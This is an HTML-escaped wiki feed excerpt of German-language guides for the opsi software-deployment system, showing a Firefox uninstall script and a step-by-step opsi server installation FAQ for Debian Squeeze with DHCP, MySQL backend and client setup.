 if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
         comment &amp;quot;Start uninstall sub section&amp;quot;&lt;br /&gt;
         Sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 if $LicenseRequired$ = &amp;quot;true&amp;quot;&lt;br /&gt;
         comment &amp;quot;Licensing required, free license used&amp;quot;&lt;br /&gt;
         Sub_free_license&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 [Sub_free_license]&lt;br /&gt;
 comment &amp;quot;License management is enabled and will be used&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Trying to free license used for the product&amp;quot;&lt;br /&gt;
 DefVar $result$&lt;br /&gt;
 Set $result$ = FreeLicense($LicensePool$)&lt;br /&gt;
 ; If there is an assignment of a license pool to the product, it is possible to use&lt;br /&gt;
 ; Set $result$ = FreeLicense(&amp;quot;&amp;quot;, $ProductId$)&lt;br /&gt;
 ;&lt;br /&gt;
 ; If there is an assignment of a license pool to a windows software id, it is possible to use&lt;br /&gt;
 ; DefVar $WindowsSoftwareId$&lt;br /&gt;
 ; $WindowsSoftwareId$ = &amp;quot;...&amp;quot;&lt;br /&gt;
 ; set $result$ = FreeLicense(&amp;quot;&amp;quot;, &amp;quot;&amp;quot;, $WindowsSoftwareId$)&lt;br /&gt;
&lt;br /&gt;
Die Datei delsub.ins sieht wie folgt aus:&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
 ;&lt;br /&gt;
 ;delsub.ins&lt;br /&gt;
 ;&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
  &lt;br /&gt;
 ; Message at install time:&lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot;+$ProductId$+&amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; kill a running firefox&lt;br /&gt;
 killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; if firefox uninstall program exists then start it&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;)&lt;br /&gt;
     set $UninstallCommand$ = &amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;&lt;br /&gt;
     set $UninstallCommand$ = &#039;&amp;quot;&#039;+$UninstallCommand$+&#039;&amp;quot; /S&#039;&lt;br /&gt;
     WinBatch_start_FirefoxUninstall /WaitSeconds 20&lt;br /&gt;
     sub_check_exitcode&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 ; delete registry entry to the current installed version&lt;br /&gt;
 Registry_delete_current_version&lt;br /&gt;
 ; delete files of current version&lt;br /&gt;
 if not ($MozInstallDir$ = &amp;quot;&amp;quot;)&lt;br /&gt;
         Files_copy_deinstall&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [WinBatch_start_FirefoxUninstall]&lt;br /&gt;
 $UninstallCommand$&lt;br /&gt;
 ;%SCRIPTPATH%\sleep 5&lt;br /&gt;
  &lt;br /&gt;
 [Files_copy_deinstall]&lt;br /&gt;
 delete -sf &amp;quot;$MozInstallDir$\&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Registry_delete_current_version]&lt;br /&gt;
 OpenKey [HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Firefox]&lt;br /&gt;
 set &amp;quot;CurrentVersion&amp;quot; = &amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
         comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
                 comment &amp;quot;ERROR_UNKNOWN_PRODUCT  1605    This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
                 comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
                 if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
                         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
                         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED 1641    The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                 else&lt;br /&gt;
                         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
                                 comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
                                 comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED  3010    A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                         else&lt;br /&gt;
                                 logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
                                 isFatalError&lt;br /&gt;
                         endif&lt;br /&gt;
                 endif&lt;br /&gt;
         endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei icon.bmp enthaelt das Logo/Icon des Installers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun laden wir die zuvor erstellten Files nach /home/opsiproducts/firefox/CLIENT_DATA auf den Server.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 /home/opsiproducts/firefox&lt;br /&gt;
 drwxr-s---  3 root pcpatch     4096 27. Sep 12:59 CLIENT_DATA&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 OPSI&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 SERVER_DATA&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA/files&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Jetzt koennen wir das OPSI Paket erstellen lassen:&lt;br /&gt;
 cd /home/opsiproducts/firefox&lt;br /&gt;
 opsi-makeproductfile&lt;br /&gt;
&lt;br /&gt;
Als letztes installieren wir das erzeugte Paket:&lt;br /&gt;
 opsi-package-manager -i /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Falls man schon eine fruehere Version auf den Clients installiert hatte, kann man diese nun automatisch beim Installieren des neuen Paketes auf setup oder update setzen:&lt;br /&gt;
 opsi-package-manager -iS /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
 opsi-package-manager -iU /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Jetzt einmal die Management-Oberflaeche (opsi-configed) neu laden und schon sollte unter Produktkonfiguration das Firefox Paket auftauchen.&lt;br /&gt;
Nun den Client/die Clients auswaehlen und Firefox auf setup stellen, dann einmal auf den roten Haken (Speichern der Konfiguration) klicken, schon sollte beim naechsten booten Firefox installiert werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
KioskMode aktivieren und konfigurieren:&lt;br /&gt;
In der Management-Oberflaeche (opsi-configed) wechseln wir in die Server-Konfiguration. Hier stellen wir software-on-demand.active auf true, software-on-demand.product-group-ids lassen wir auf software-on-demand stehen und software-on-demand.show-details stellen wir auf true.&lt;br /&gt;
Jetzt wechseln wir in die Client-Konfiguration und dort nach Produktkonfiguration. Hier klicken wir auf Einblenden und geben der neuen Gruppe einen Namen und zwar software-on-demand, so wie es auch in software-on-demand.product-group-ids steht und als Beschreibung z.B. Software auf Anfrage. Jetzt waehlen wir mit Steuerungstaste (strg) die Pakete aus die ins SofwareOnDemand einfliessen sollen aus und klicken danach auf speichern.&lt;br /&gt;
Jetzt muessen wir auf den vorhandenen Clients nur die neue Version von opsi-client-agent installieren (auf neuen Clients geschieht dies automatisch) und schon erscheint im Client unter Start&amp;gt;Programme&amp;gt;opsi.org der Eintrag software-on-demand, womit sich Programme einfach installieren, deinstallieren und neu installieren lassen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=94</id>
		<title>OPSI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=94"/>
		<updated>2013-04-29T19:51:10Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Schützte „OPSI INSTALL FAQ AUF DEBIAN SQUEEZE“ (‎[edit=sysop] (unbeschränkt) ‎[move=sysop] (unbeschränkt))&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OPSI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 17.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 OPSI Server, Debian Squeeze 6.0x, IP 192.168.0.1, Hostname opsi.oppserver.net opsi&lt;br /&gt;
 Client Test (VirtualBox), MAC Adresse 08:00:27:48:d9:74, IP 192.168.0.200, Hostname opsi-test, Beschreibung opsi virtualbox test&lt;br /&gt;
 Client 1, MAC Adresse 00:50:fc:6b:9a:e3, IP 192.168.0.2, Hostname rechner001, Beschreibung Windows XP Pro x86 001&lt;br /&gt;
 Client 2, MAC Adresse 00:17:31:65:6c:2d, IP 192.168.0.3, Hostname rechner002, Beschreibung Windows 7 Pro x86 001&lt;br /&gt;
 Client 3, MAC Adresse 00:18:f3:b0:04:9f, IP 192.168.0.4, Hostname rechner003, Beschreibung Windows 7 Pro x64 001&lt;br /&gt;
 Router, IP 192.168.0.253, Hostname router&lt;br /&gt;
 (Bei den Clients keine Hostnames laenger als 15 Zeichen nutzen, da dies zu einem Fehler bei der Installation fuehrt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pakete die nach der Grundinstallation mit Desktopumgebung (de)installiert werden sollten/muessen:&lt;br /&gt;
 aptitude purge network-manager network-manager-gnome&lt;br /&gt;
 aptitude install sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar linux-headers-`uname -r` subversion subversion-tools cvs mercurial ssh openssl wget lsof host python-mechanize p7zip-full cabextract openbsd-inetd samba samba-common smbclient smbfs samba-doc mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pruefen Sie den Eintrag fuer den opsi-server in der Datei /etc/hosts oder aber die Ausgabe von&lt;br /&gt;
 getent hosts $(hostname -f)&lt;br /&gt;
Das Ergebnis sollte beispielsweise so aussehen:&lt;br /&gt;
 192.168.0.1 opsi.oppserver.net opsi&lt;br /&gt;
Sieht das Ergebnis nicht so aus (enthaelt z.B. 127.0.0.1 oder localhost) dann muessen Sie Ihre /etc/hosts oder Namensaufloesung zunaechst korrigieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 echo &amp;quot;deb http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0 ./&amp;quot; &amp;gt; /etc/apt/sources.list.d/opsi.sources.list&lt;br /&gt;
&lt;br /&gt;
 wget http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0/Release.key -O - | apt-key add -&lt;br /&gt;
&lt;br /&gt;
 aptitude update&lt;br /&gt;
 aptitude safe-upgrade&lt;br /&gt;
 aptitude remove tftpd&lt;br /&gt;
 update-inetd --remove tftpd&lt;br /&gt;
 aptitude install opsi-atftpd opsi-depotserver opsi-configed&lt;br /&gt;
&lt;br /&gt;
Da die OPSI Services nicht automatisch mitstarten, obwohl sie in den jeweiligen runleveln sind, habe ich folgendes in der /etc/rc.local vor dem exit 0 hinzugefuegt:&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des Tftpd werden Sie evtl. nach dem Tftp-Basisverzeichnis gefragt. Beantworten Sie diese Frage mit /tftpboot. Die Fragen nach Multicast Support koennen Sie mit Ja beantworten.&lt;br /&gt;
Bei der Installation des Paketes opsiconfd werden Sie nach Angaben zur Erstellung eines SSL-Zertifikates gefragt.&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des opsi-servers werden Sie gefragt, ob die dhcpd.conf und die smb.conf gepatcht werden darf.&lt;br /&gt;
Beantworten Sie die Fragen mit Ja.&lt;br /&gt;
&lt;br /&gt;
Nun legen wir ein neues Passwort fuer den User pcpatch fest:&lt;br /&gt;
 passwd pcpatch&lt;br /&gt;
 smbpasswd -a pcpatch&lt;br /&gt;
 opsi-admin -d task setPcpatchPassword&lt;br /&gt;
&lt;br /&gt;
Falls noch kein USER angelegt wurde, wird er jetzt erstellt, sonst weiter bei Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 useradd -m -s /bin/bash USER&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Unix:&lt;br /&gt;
 passwd USER&lt;br /&gt;
&lt;br /&gt;
Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 adduser root opsiadmin&lt;br /&gt;
 adduser USER opsiadmin&lt;br /&gt;
&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Samba:&lt;br /&gt;
 smbpasswd -a USER&lt;br /&gt;
&lt;br /&gt;
Alle User, die Produkte packen (opsi-makeproductfile), installieren (opsi-package-manager) oder Konfigurationsdateien manuell bearbeiten wollen, muessen zusaetzlich in der Gruppe pcpatch sein:&lt;br /&gt;
 adduser USER pcpatch&lt;br /&gt;
root darf dies alles ohnehin und muss daher nicht explizit in die Gruppe aufgenommen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Holen Sie sich die aktuellen notwendigen opsi-Pakete im opsi-Paketformat.&lt;br /&gt;
Die Pakete finden Sie unter http://download.uib.de/opsi4.0/products/&lt;br /&gt;
Nach dem Download muessen Sie die Pakete auf dem Server mit dem Befehl opsi-package-manager -i &amp;lt;paketname&amp;gt;.opsi installiert werden.&lt;br /&gt;
Sie koennen das interaktiv fuer jedes einzelne Paket tun. Wir empfehlen Ihnen dies automatisiert zu tun. Hierzu gibt es das Werkzeug opsi-product-updater, welches wie in /etc/opsi/opsi-product-updater.conf konfiguriert, automatisch die aktuellen Pakete vom opsi Repository holt und auf dem Server installiert.&lt;br /&gt;
&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [wol]&lt;br /&gt;
 active = true&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 dirs = opsi4.0/products/localboot, opsi4.0/products/netboot, opsi4.0/testing&lt;br /&gt;
 autoInstall = true&lt;br /&gt;
 autoSetup = true&lt;br /&gt;
&lt;br /&gt;
Danach einfach folgenden Befehl ausfuehren und die Pakete werden installiert:&lt;br /&gt;
 opsi-product-updater -i -vv&lt;br /&gt;
&lt;br /&gt;
Sollte der opsi-product-updater Befehl scheitern, so muss evtl. ein Proxy in der Konfigurationsdatei eingetragen&lt;br /&gt;
werden unter&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 proxy =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn Sie das opsi Managementinterface opsi-configed direkt auf dem Server ausfuehren moechten, so benoetigen Sie eine Java Laufzeitumgebung. Die Laufzeitumgebung von Sun/Oracle ist die am besten getestete. Allerdings ist diese unter Linux nur noch eingeschraenkt zu beziehen. Als Alternative bietet sich das OpenJDK an. Meinen Erfahrungen nach funktioniert hier zumindest der Start ueber Webstart und als Applikation.&lt;br /&gt;
&lt;br /&gt;
 aptitude install sun-java6-jdk sun-java6-plugin python-simplejson&lt;br /&gt;
&lt;br /&gt;
Kontrollieren Sie, ob Java in der benoetigten Version installiert ist, indem Sie in einem Terminal&lt;br /&gt;
 java -version&lt;br /&gt;
aufrufen.&lt;br /&gt;
Sollte hier nicht mindestens Java Version 1.6.0 angezeigt werden, so muessen Sie dies in einem Terminalfenster mit&lt;br /&gt;
 update-alternatives anpassen:&lt;br /&gt;
 update-alternatives --config java&lt;br /&gt;
&lt;br /&gt;
   Auswahl      Pfad                                      Prioritaet Status&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
   0            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      Auto-Modus&lt;br /&gt;
   1            /usr/bin/gij-4.4                           1044      manueller Modus&lt;br /&gt;
   2            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      manueller Modus&lt;br /&gt;
 * 3            /usr/lib/jvm/java-6-sun/jre/bin/java       63        manueller Modus&lt;br /&gt;
&lt;br /&gt;
 Druecken Sie die Eingabetaste, um die aktuelle Wahl[*] beizubehalten,&lt;br /&gt;
 oder geben Sie die Auswahlnummer ein: 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um (wie empfohlen) das mysql-Backend verwenden zu koennen (z.B. fuer die Inventarisierung), so muss dieses nun mit dem Befehl&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --configure-mysql&lt;br /&gt;
&lt;br /&gt;
initialisiert werden.&lt;br /&gt;
In der Datei /etc/opsi/backendManager/dispatch.conf muss das Backend noch hinzugefuegt werden:&lt;br /&gt;
 backend_.*         : file, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 license.*          : mysql&lt;br /&gt;
 softwareLicense.*  : mysql&lt;br /&gt;
 audit.*            : mysql&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
Ignorieren Sie Warnungen wegen einer nicht gefundenen /etc/opsi/modules.&lt;br /&gt;
Wer welche Methoden verwenden darf, ist in der Datei /etc/opsi/backendManager/acl.conf festgelegt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Einspielen / ueberpruefen der Freischaltdatei&lt;br /&gt;
Auch wenn opsi Opensource ist, so gibt es einige Zusatz-Komponenten, die im Rahmen eines Kofinanzierungsprojektes erstellt wurden und evtl. noch nicht Opensource bzw. noch nicht kostenlos sind. Sobald die Entwicklungskosten eingenommen sind, werden auch diese Module Opensource bzw. kostenlos sein. Um bis dahin die Verwendung dieser Module den zahlenden Kunden und zu Evaluierungszwecken zu gestatten, gibt es die Freischaltdatei /etc/opsi/modules, welche durch eine elektronische Signatur vor unautorisierter Veraenderung geschuetzt ist. Ist diese Datei nicht vorhanden, so funktionieren nur die freien Module von opsi.&lt;br /&gt;
Um zu Evaluierungszwecken eine zeitlich befristet gueltige Freischaltdatei zu erhalten, wenden Sie sich an info@uib.de.&lt;br /&gt;
Im Rahmen einer Beteiligung an den entsprechenden Kofinanzierungsprojekten erhalten Sie eine unbefristet gueltige Freischaltdatei. Diese koennen Sie mit root-Rechten nach /etc/opsi kopieren.&lt;br /&gt;
Fuehren Sie danach den folgenden Befehl aus:&lt;br /&gt;
 opsi-setup --set-rights /etc/opsi&lt;br /&gt;
Kontrollieren Sie die Freischaltung mit einer der folgenden Methoden:&lt;br /&gt;
Im opsi-configed koennen Sie sich ueber den Menuepunkt Hilfe/opsi-Module den Status Ihrer Freischaltung anzeigen lassen.&lt;br /&gt;
Mit der Methode backend_info koennen Sie mit opsi-admin ueberpruefen, welche Module freigeschaltet sind. (Hinweis: Geben Sie die weder die Datei noch die Ausgabe dieses Befehls oeffentlich weiter, zumindest nicht ohne die Signatur zu loeschen).&lt;br /&gt;
 opsi-admin -d method backend_info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet, als erstes sichern wir uns die default Konfigurations Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 &lt;br /&gt;
 option domain-name &amp;quot;oppserver.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.0.253, 8.8.8.8;&lt;br /&gt;
 &lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 &lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 subnet 192.168.0.0 netmask 255.255.255.0 {&lt;br /&gt;
         option routers 192.168.0.253;&lt;br /&gt;
         option broadcast-address 192.168.0.255;&lt;br /&gt;
         group {&lt;br /&gt;
                 next-server 192.168.0.1;&lt;br /&gt;
                 filename &amp;quot;linux/pxelinux.0&amp;quot;;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Jetzt die richtigen Rechte setzen, da OPSI sonst nicht in diese Datei schreiben darf:&lt;br /&gt;
 chown opsiconfd:opsiadmin /etc/dhcp/dhcpd.conf&lt;br /&gt;
 chmod 664 /etc/dhcp/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun muessen wir den DHCPd in die /etc/opsi/backendManager/dispatch.conf einfuegen/ersetzen:&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd, dhcpd&lt;br /&gt;
 host_.*            : file, opsipxeconfd, dhcpd&lt;br /&gt;
&lt;br /&gt;
Nach Anpassung der Backendkonfiguration muss die Konfiguration initialisiert und der opsiconfd neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start der Management-Oberflaeche (opsi-configed)&lt;br /&gt;
Opsi bietet mit dem opsi-configed ein komfortables Management Interface.&lt;br /&gt;
Sie koennen es auf mehrere Weisen starten:&lt;br /&gt;
Wenn Sie in einem Browser (irgendwo im Netz) die Adresse https://192.168.0.1:4447/configed eingeben, erscheint eine Webseite mit als Applet eingebettetem opsi-configed. Damit es funktioniert, muessen Sie auf dem aufrufenden Rechner eine (Sun) Java-Version &amp;gt;= 1.6 installiert haben.&lt;br /&gt;
Alternativ koennen Sie auf der graphischen Oberflaeche Ihres opsi-servers mit Klick auf die rechte Taste das Kontextmenue oeffnen und „opsi config editor“ auswaehlen.&lt;br /&gt;
Der Konfigurationseditor ist auch Bestandteil der opsi-adminutils, die im Rahmen der opsi-Anwendung lokal auf Clients installiert werden koennen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows 7 x86 als Beispiel)&lt;br /&gt;
Anlegen eines neuen opsi-Clients ueber die Management Oberflaeche:&lt;br /&gt;
Als Client-Rechner eignen sich reale oder virtuelle Rechner mit mindestens 512 MB RAM, die ueber eine Netzwerkkarte mit Netzwerkboot-Unterstuetzung verfuegen: D.h., sie unterstuetzen das PXE-Protokoll zum Laden von Boot-Systemen via Netzwerk. Der Netzwerkboot ist ggf. im Bios-Menue zu aktivieren bzw. an die erste Stelle der Bootoptionen zu ruecken.&lt;br /&gt;
Fuer einen ersten Tests empfehlen wir eine VMware-Appliance, die einen „nicht installierten Rechner“ abbildet und im VMware-Player laufen kann. Diese koennen Sie z.B. bei download.uib.de herunterladen (http://download.uib.de/vmware_pxeclient.zip).&lt;br /&gt;
Diese virtuelle Hardware wird auf eher von den Standardtreibern von Windows unterstuetzt, wenn Sie spaeter eine Testinstallation von Windows durchfuehren. Zur Installation von Windows auf neueren realen Rechnern muessen Sie sehr wahrscheinlich vorab zusaetzliche Treiber integrieren.&lt;br /&gt;
Den Client koennen Sie jetzt mit dem opsi-configed beim opsi-server registrieren. Waehlen Sie den Menue-Punkt OpsiClient / Neuen opsi-Client erstellen und geben Sie ein:&lt;br /&gt;
• IP-Namen,&lt;br /&gt;
• (Internet-) Domain (falls abweichend von der Vorgabe),&lt;br /&gt;
• Beschreibung (fakultativ),&lt;br /&gt;
• IP-Nummer (nur zwingend, sofern der opsi-server DHCP-Server ist),&lt;br /&gt;
• MAC-Adresse der Netzwerkkarte des Clients (zwingend, sofern der opsi-server DHCP-Server ist; andernfalls dringend empfohlen).&lt;br /&gt;
Nach Eingabeabschluss wird der Client dem opsi-server bekanntgemacht und gleichzeitig in der DHCP-Konfiguration als PXE-Client angelegt.&lt;br /&gt;
Ein Client kann auch auf der Kommandozeile per opsi-admin erzeugt werden:&lt;br /&gt;
opsi-admin -d method host_createOpsiClient &amp;lt;client-id&amp;gt; [opsiHostKey] [description] [notes] [hardwareAddress] [ipAddress] [inventoryNumber] [oneTimePassword] [created] [lastSeen]&lt;br /&gt;
z.B.:&lt;br /&gt;
 opsi-admin -d method host_createOpsiClient rechner001 &amp;quot;Windows XP Pro x86 001&amp;quot; &amp;quot;&amp;quot; 00:50:fc:6b:9a:e3 192.168.0.2&lt;br /&gt;
Die Liste der eingerichteten opsi-Clients kann jederzeit im opsi-configed Modus „Client-Konfiguration“ unter dem Reiter Client-Auswahl eingesehen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hardware-Inventarisierung mit dem netboot-Produkt hwinvent:&lt;br /&gt;
Sofern Sie bereits einen Client eingerichtet haben und das Produkt hwinvent installiert ist, koennen Sie bereits etwas Nuetzliches mit opsi tun:&lt;br /&gt;
Waehlen Sie im opsi-configed, Modus Client-Konfiguration, unter dem Reiter Client-Auswahl den betreffenden Client aus. Wenn noch nicht geschehen, aktualisieren Sie den Datenbestand des opsi-configed mittels Datei/Daten neu laden bzw. Anklicken des entsprechenden Icons. Wechseln Sie zum Reiter Netboot-Produkte, gehen Sie in das Feld &amp;quot;Anstehende Aktion&amp;quot; des Produkts &amp;quot;hwinvent&amp;quot; und waehlen Sie in der dort angebotenen Liste die Aktion &amp;quot;setup&amp;quot;.&lt;br /&gt;
Der Haken in der Icon-Menueleiste sollte seine Farbe auf Rot wechseln. Wenn Sie ihn anklicken, werden die neuen Einstellungen zum opsi-server uebermittelt und die Farbe des Hakens wechselt im Anschluss wieder zu gruen.&lt;br /&gt;
Booten Sie dann den Client. Er sollte jetzt per PXE ueber das Netz ein Linux-Image ziehen, das die Hardware des PCs scannt und dann den Rechner rebootet (wenn der Rechner nicht ansonsten schon eingerichtet war, kommt im Anschluss korrekterweise die Meldung, dass auf der Platte kein Betriebssystem installiert ist).&lt;br /&gt;
Das Ergebnis des Hardware-Scans hat der PC zum opsi-server uebermittelt. Es ist unter dem Reiter &amp;quot;Hardware-Informationen&amp;quot; zu besichtigen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Erstellen eines PE fuer Win7 (x86)&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\PETools\copype.cmd&amp;quot; x86 C:\winpe&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /mountrw &amp;quot;C:\winpe\winpe.wim&amp;quot; 1 &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 echo c:\opsi\startnet.cmd &amp;gt; &amp;quot;C:\winpe\mount\Windows\System32\startnet.cmd&amp;quot;&lt;br /&gt;
 &amp;quot;%ProgramFiles%\Windows AIK\Tools\x86\imagex.exe&amp;quot; /commit /unmount &amp;quot;C:\winpe\mount&amp;quot;&lt;br /&gt;
 move &amp;quot;C:\winpe\winpe.wim&amp;quot; &amp;quot;C:\winpe\ISO\sources\boot.wim&amp;quot;&lt;br /&gt;
